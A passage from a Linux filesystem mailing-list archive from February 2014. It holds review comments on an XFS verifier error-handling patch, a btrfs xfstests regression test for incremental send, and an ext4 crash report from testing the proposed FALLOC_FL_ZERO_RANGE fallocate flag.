AGFLs because mkfs does not > @@ -485,14 +484,13 @@ xfs_agfl_read_verify( > if (!xfs_sb_version_hascrc(&mp->m_sb)) > return; > > - agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); > - > - agfl_ok = agfl_ok && xfs_agfl_verify(bp); > - > - if (!agfl_ok) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (!xfs_buf_verify_cksum(bp, offsetof(struct xfs_agfl, agfl_crc))) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_agfl_verify(bp)) Obviously you added the CRC_OFF directives earlier in the set. It looks like this patch squashed a couple of them (XFS_AGF_CRC_OFF as well). > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > ... > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 4657586..8aa720d 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -1573,13 +1573,17 @@ xfs_agi_read_verify( > if (xfs_sb_version_hascrc(&mp->m_sb)) > agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); > > + if (!agi_ok) > + xfs_buf_ioerror(bp, EFSBADCRC); > + > agi_ok = agi_ok && xfs_agi_verify(bp); > > if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, > - XFS_RANDOM_IALLOC_READ_AGI))) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + XFS_RANDOM_IALLOC_READ_AGI))) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } Any reason not to use the same if/else pattern here that the others are now using (i.e., similar to xfs_agf_read_verify(), removing the need for agi_ok)? Brian > > static void > @@ -1590,8 +1594,8 @@ xfs_agi_write_verify( > struct xfs_buf_log_item *bip = bp->b_fspriv; > > if (!xfs_agi_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c > index 0028c50..7e309b1 100644 > --- a/fs/xfs/xfs_ialloc_btree.c > +++ b/fs/xfs/xfs_ialloc_btree.c > @@ -243,12 +243,14 @@ static void > xfs_inobt_read_verify( > struct xfs_buf *bp) > { > - if (!(xfs_btree_sblock_verify_crc(bp) && > - xfs_inobt_verify(bp))) { > - trace_xfs_btree_corrupt(bp, _RET_IP_); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - bp->b_target->bt_mount, bp->b_addr); > + if (!xfs_btree_sblock_verify_crc(bp)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_inobt_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > + > + if (bp->b_error) { > + trace_xfs_btree_corrupt(bp, _RET_IP_); > + xfs_verifier_error(bp); > } > } > > @@ -258,9 +260,8 @@ xfs_inobt_write_verify( > { > if (!xfs_inobt_verify(bp)) { > trace_xfs_btree_corrupt(bp, _RET_IP_); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - bp->b_target->bt_mount, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > xfs_btree_sblock_calc_crc(bp); > diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c > index 606b43a..24e9939 100644 > --- a/fs/xfs/xfs_inode_buf.c > +++ b/fs/xfs/xfs_inode_buf.c > @@ -102,8 +102,7 @@ xfs_inode_buf_verify( > } > > xfs_buf_ioerror(bp, EFSCORRUPTED); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, > - mp, dip); > + xfs_verifier_error(bp); > #ifdef DEBUG > xfs_alert(mp, > "bad inode magic/vsn daddr %lld #%d (magic=%x)", > diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > index 818359f..b134aa8 100644 > --- a/fs/xfs/xfs_sb.c > +++ b/fs/xfs/xfs_sb.c > @@ -614,7 +614,7 @@ xfs_sb_read_verify( > /* Only fail bad secondaries on a known V5 filesystem */ > if (bp->b_bn == XFS_SB_DADDR || > xfs_sb_version_hascrc(&mp->m_sb)) { > - error = EFSCORRUPTED; > + error = EFSBADCRC; > goto out_error; > } > } > @@ -623,10 +623,9 @@ xfs_sb_read_verify( > > out_error: > if (error) { > - if (error == EFSCORRUPTED) > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - mp, bp->b_addr); > xfs_buf_ioerror(bp, error); > + if (error == EFSCORRUPTED || error == EFSBADCRC) > + xfs_verifier_error(bp); > } > } > > @@ -661,9 +660,8 @@ xfs_sb_write_verify( > > error = xfs_sb_verify(bp, false); > if (error) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - mp, bp->b_addr); > xfs_buf_ioerror(bp, error); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c > index defa09f..9b32052 100644 > --- a/fs/xfs/xfs_symlink_remote.c > +++ b/fs/xfs/xfs_symlink_remote.c > @@ -133,11 +133,13 @@ xfs_symlink_read_verify( > if (!xfs_sb_version_hascrc(&mp->m_sb)) > return; > > - if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || > - !xfs_symlink_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_symlink_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -152,8 +154,8 @@ xfs_symlink_write_verify( > return; > > if (!xfs_symlink_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > From fdmanana@gmail.com Wed Feb 19 08:33:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 471B97F89 for ; Wed, 19 Feb 2014 08:33:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B6F9DAC00B for ; Wed, 19 Feb 2014 06:33:29 -0800 (PST) X-ASG-Debug-ID: 1392820407-04cbb00c2a59bd10001-NocioJ Received: from mail-we0-f175.google.com (mail-we0-f175.google.com [74.125.82.175]) by cuda.sgi.com with ESMTP id 2GvE7JGcZ1hGRNCw (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 19 Feb 2014 06:33:27 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.175 Received: by mail-we0-f175.google.com with SMTP id q59so390310wes.6 for ; Wed, 19 Feb 2014 06:33:26 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=RW3EatK60n7s8ENC00lrTtZ/m0zLZ3lfWyhIYBWLblw=; b=rQ/k03RCvx/xjx/8hZxFjZqgis8F1xQZrwOPYSNlwstDfR4Ph/+a6nHqPZ2YG1hb8E 5g5A0jjqt7OZ8GGQpNDGGFNmOqG22U/pxCBnrTQOnbLCaQpAj9GjeIxkj79c8FzPCr4Q X4bQIT0TKbv2/c1YK0M2jpSbODlTeG2E2zXLsXcqDEBWXUj3FCm1qRDoo0+Ck3Zsm0ef 66EmFQZGTo802g3fis7fv19kdGaH2Fh5tIL4q7CzRaC3KbUPi8rQSLIpO0O1wE7dbb6h 8Cau9rNyE57KvM62nlMR3YMfbENt+1l5J4bOmDmEFwfG+cQBkCEgTmChG2A8x5I8MIrs z1kg== X-Received: by 10.180.189.169 with SMTP id gj9mr1793870wic.17.1392820406673; Wed, 19 Feb 2014 06:33:26 -0800 (PST) Received: from storm-desktop.lan (bl10-220-154.dsl.telepac.pt. [85.243.220.154]) by mx.google.com with ESMTPSA id f1sm52903525wik.1.2014.02.19.06.33.20 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 19 Feb 2014 06:33:25 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: add test for btrfs send issuing premature rmdir operations Date: Wed, 19 Feb 2014 14:32:32 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test for btrfs send issuing premature rmdir operations Message-Id: <1392820352-8550-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-we0-f175.google.com[74.125.82.175] X-Barracuda-Start-Time: 1392820407 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for btrfs incremental send issue where a rmdir instruction is sent against an orphan directory inode which is not empty yet, causing btrfs receive to fail when it attempts to remove the directory. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix send attempting to rmdir non-empty directories Signed-off-by: Filipe David Borba Manana --- tests/btrfs/041 | 153 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/041.out | 1 + tests/btrfs/group | 1 + 3 files changed, 155 insertions(+) create mode 100755 tests/btrfs/041 create mode 100644 tests/btrfs/041.out diff --git a/tests/btrfs/041 b/tests/btrfs/041 new file mode 100755 index 0000000..9de9326 --- /dev/null +++ b/tests/btrfs/041 @@ -0,0 +1,153 @@ +#! /bin/bash +# FS QA Test No. btrfs/041 +# +# Regression test for btrfs incremental send issue where a rmdir instruction +# is sent against an orphan directory inode which is not empty yet, causing +# btrfs receive to fail when it attempts to remove the directory. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix send attempting to rmdir non-empty directories +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/0 +mkdir $SCRATCH_MNT/1 +mkdir $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/0 $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/1 $SCRATCH_MNT/a/b/c +echo 'ola mundo' > $SCRATCH_MNT/a/b/c/foo.txt +mkdir $SCRATCH_MNT/a/b/c/x +mkdir $SCRATCH_MNT/a/b/c/x2 +mkdir $SCRATCH_MNT/a/b/y +mkdir $SCRATCH_MNT/a/b/z +mkdir -p $SCRATCH_MNT/a/b/d1/d2/d3 +mkdir $SCRATCH_MNT/a/b/d4 + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 261) +# | |-- foo.txt (ino 262) +# | |-- 0/ (ino 259) +# | |-- 1/ (ino 260) +# | |-- x/ (ino 263) +# | |-- x2/ (ino 264) +# | +# |-- y/ (ino 265) +# |-- z/ (ino 266) +# |-- d1/ (ino 267) +# | |-- d2/ (ino 268) +# | |-- d3/ (ino 269) +# | +# |-- d4/ (ino 270) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +rm -f $SCRATCH_MNT/a/b/c/foo.txt +mv $SCRATCH_MNT/a/b/y $SCRATCH_MNT/a/b/YY +mv $SCRATCH_MNT/a/b/z $SCRATCH_MNT/a +mv $SCRATCH_MNT/a/b/c/x $SCRATCH_MNT/a/b/YY +mv $SCRATCH_MNT/a/b/c/0 $SCRATCH_MNT/a/b/YY/00 +mv $SCRATCH_MNT/a/b/c/x2 $SCRATCH_MNT/a/z/X_2 +mv $SCRATCH_MNT/a/b/c/1 $SCRATCH_MNT/a/z/X_2 +rmdir $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/a/b/d4 $SCRATCH_MNT/a/d44 +mv $SCRATCH_MNT/a/b/d1/d2 $SCRATCH_MNT/a/d44 +rmdir $SCRATCH_MNT/a/b/d1 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# | |-- YY/ (ino 265) +# | |-- x/ (ino 263) +# | |-- 00/ (ino 259) +# | +# |-- z/ (ino 266) +# | |-- X_2/ (ino 264) +# | |-- 1/ (ino 260) +# | +# |-- d44/ (ino 270) +# |-- d2/ (ino 268) +# |-- d3/ (ino 269) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/041.out b/tests/btrfs/041.out new file mode 100644 index 0000000..309876c --- /dev/null +++ b/tests/btrfs/041.out @@ -0,0 +1 @@ +QA output created by 041 diff --git a/tests/btrfs/group b/tests/btrfs/group index f5452b5..fd0193c 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -43,3 +43,4 @@ 038 auto quick 039 auto quick 040 auto quick +041 auto quick -- 1.7.9.5 From dongsu.park@profitbricks.com Wed Feb 19 08:52:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E4F75800E for ; Wed, 19 Feb 2014 08:52:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CE9C3304070 for ; Wed, 19 Feb 2014 06:52:46 -0800 (PST) X-ASG-Debug-ID: 1392821563-04cb6c6de05a26c0001-NocioJ Received: from mail-bk0-f44.google.com (mail-bk0-f44.google.com [209.85.214.44]) by cuda.sgi.com with ESMTP id Uz8fUBzrOByVuSVE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 19 Feb 2014 06:52:44 -0800 (PST) X-Barracuda-Envelope-From: dongsu.park@profitbricks.com X-Barracuda-Apparent-Source-IP: 209.85.214.44 Received: by mail-bk0-f44.google.com with SMTP id r7so241645bkg.3 for ; Wed, 19 Feb 2014 06:52:43 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=F4eCK8FA0Y9NxNgSDDO1/juCCrRcJpr1BaKPBvX01Tc=; b=DWP17MCNmTzYZLLqTA8jPMnz7ZXqGvg1EPAlyKHNGOnHZIeIFHU9lyiKCr9J2DAMJL 7JmN+kTcF58T/kAu+Jz3hxK+Y6KDKPaPluaGmMos4hJ+PpADc+/7Q9pV1Jym2zZsjXdB 5Jp8rdKoosbBe1wUXEJBYRvM+Fu8gl2RWp8JIbhrdzIM33x06LOP1rANL+jStZiMHD+V F0HZMyVIG6IuPGRSwt1cwSp/7MBJIuRRvHFJwm4r92Zk3IFgR0hw0v7cf6tDSEYOhTdw 4jRtDu25O7897XrnW9wcQ8yhLtXZNc4R9tn4MfMDh++Qb8lHVY5ZxtfgX/dCyK0VfzGj JM+w== X-Gm-Message-State: ALoCoQm3x1lJXyQUuLJ6JIpMEJ1E3jRSIHAR2Kebd11ycP6zR8iN51IyVmHJsg5L2EW6LSDRmbLh X-Received: by 10.205.41.202 with SMTP id tv10mr589234bkb.41.1392821563335; Wed, 19 Feb 2014 06:52:43 -0800 (PST) Received: from gmail.com ([62.217.45.26]) by mx.google.com with ESMTPSA id mc2sm735058bkb.12.2014.02.19.06.52.41 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Wed, 19 Feb 2014 06:52:42 -0800 (PST) Date: Wed, 19 Feb 2014 15:52:39 +0100 From: Dongsu Park To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140219145239.GA14849@gmail.com> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-bk0-f44.google.com[209.85.214.44] X-Barracuda-Start-Time: 1392821564 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145282 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Lukas, On 17.02.2014 16:08, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > It can be used to convert a range of file to zeros preferably without > issuing data IO. Blocks should be preallocated for the regions that span > holes in the file, and the entire range is preferable converted to > unwritten extents - even though file system may choose to zero out the > extent or do whatever which will result in reading zeros from the range > while the range remains allocated for the file. > > This can be also used to preallocate blocks past EOF in the same way as > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > size to remain the same. > > You can test this feature yourself using xfstests, of fallocate(1) however > you'll need patches for util_linux, xfsprogs and xfstests which you > can find here: > > http://people.redhat.com/lczerner/zero_range/ Thank you for your great work! I've tested it both on xfs and on ext4. (Test environment: Fedora 20, Kernel 3.14-rc3 + your patches, util-linux v2.24-232-g3c7ed4a + your patches) It seems to work with xfs without problem. On ext4, however, immediately after doing "fallocate -z", kernel crashes with the following error: ------------[ cut here ]------------ kernel BUG at fs/ext4/ext4_extents.h:193! invalid opcode: 0000 [#1] SMP Modules linked in: 9pnet_virtio virtio_net 9pnet virtio_blk virtio_pci virtio_ring virtio CPU: 2 PID: 2959 Comm: fallocate Not tainted 3.14.0-rc3+ #34 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 task: ffff8800da97da10 ti: ffff880119068000 task.ti: ffff880119068000 RIP: 0010:[] [] ext4_ext_map_blocks+0x2899/0x2940 RSP: 0018:ffff880119069c50 EFLAGS: 00010202 RAX: 0000000000000003 RBX: ffff880036fa8470 RCX: 0000000000000002 RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffffffff82120e98 RBP: ffff880119069d30 R08: ffff88011975d900 R09: 011ad15618080000 R10: fec72ef09c4d8602 R11: 0000000000008000 R12: ffff880119069dd0 R13: 0000000000000403 R14: 0000000000000001 R15: ffff880118c6700c FS: 00007fa54a0ba740(0000) GS:ffff88011fc40000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000003cdbf6f7e0 CR3: 0000000119077000 CR4: 00000000000006e0 Stack: 0000000000000000 0000000000008000 ffff880036fa86c8 0000000000000000 ffff880100000000 0000800081384dee 0000000000000001 ffff880000000000 0000000000008800 0000000000000000 ffff880036f6f000 ffff88011975d900 Call Trace: [] ? ext4_es_insert_extent+0x15a/0x240 [] ? ext4_find_delalloc_range+0x1e/0xb0 [] ext4_map_blocks+0x25f/0x830 [] ? ext4_alloc_file_blocks+0xc4/0x1e0 [] ext4_alloc_file_blocks+0x13a/0x1e0 [] ext4_zero_range+0x61f/0x870 [] ext4_fallocate+0x4e3/0x6c0 [] ? __sb_start_write+0x145/0x1a0 [] ? kmem_cache_free+0x2f0/0x3f0 [] ? final_putname+0x30/0x60 [] do_fallocate+0x1e7/0x290 [] SyS_fallocate+0x79/0xc0 [] system_call_fastpath+0x16/0x1b Code: ba dc 05 00 00 48 c7 c6 b0 91 c7 81 48 89 df 89 04 24 31 c0 e8 99 83 fe ff e9 f5 f8 ff ff 48 83 05 34 b3 f5 00 01 e9 0a db ff ff <0f> 0b 0f 0b 0f 0b 0f 0b 45 89 d1 49 c7 c0 48 22 e5 81 31 RIP [] ext4_ext_map_blocks+0x2899/0x2940 RSP ---[ end trace ba21204a3a98fbdc ]--- Regards, Dongsu > I'll post the patches after we agree and merge the kernel functionality. > > I tested this mostly with a subset of xfstests using fsx and fsstress and > even with new generic/290 which is just a copy of xfs/290 usinz fzero > command for xfs_io instead of zero (which uses ioctl). I was testing on > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; > > Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE which > touches the same area as this pach set does, so we should figure out > which one should go first and modify the other on top of it. > > Thanks! > -Lukas > > -- > [PATCH 1/6] ext4: Update inode i_size after the preallocation > [PATCH 2/6] ext4: refactor ext4_fallocate code > [PATCH 3/6] ext4: translate fallocate mode bits to strings > [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE > > fs/ext4/ext4.h | 3 + > fs/ext4/extents.c | 430 ++++++++++++++++++++++++++++++++++++++++++++++++++++---------------- > fs/ext4/inode.c | 17 ++- > fs/open.c | 7 +- > fs/xfs/xfs_file.c | 10 +- > include/trace/events/ext4.h | 67 ++++++----- > include/uapi/linux/falloc.h | 1 + > 7 files changed, 393 insertions(+), 142 deletions(-) > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From lczerner@redhat.com Wed Feb 19 09:18:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 627628027 for ; Wed, 19 Feb 2014 09:18:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D23F6AC003 for ; Wed, 19 Feb 2014 07:18:09 -0800 (PST) X-ASG-Debug-ID: 1392823088-04cb6c6de05a5500001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KEiyPdblUbCYkYbk for ; Wed, 19 Feb 2014 07:18:08 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1JFI6KB019423 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 19 Feb 2014 10:18:06 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1JFI1r5027394 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 19 Feb 2014 10:18:05 -0500 Date: Wed, 19 Feb 2014 16:18:01 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dongsu Park cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: <20140219145239.GA14849@gmail.com> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140219145239.GA14849@gmail.com> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392823088 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, 19 Feb 2014, Dongsu Park wrote: > Date: Wed, 19 Feb 2014 15:52:39 +0100 > From: Dongsu Park > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, > xfs@oss.sgi.com > Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for > fallocate > > Hi Lukas, > > On 17.02.2014 16:08, Lukas Czerner wrote: > > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > > > It can be used to convert a range of file to zeros preferably without > > issuing data IO. Blocks should be preallocated for the regions that span > > holes in the file, and the entire range is preferable converted to > > unwritten extents - even though file system may choose to zero out the > > extent or do whatever which will result in reading zeros from the range > > while the range remains allocated for the file. > > > > This can be also used to preallocate blocks past EOF in the same way as > > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > > size to remain the same. > > > > You can test this feature yourself using xfstests, of fallocate(1) however > > you'll need patches for 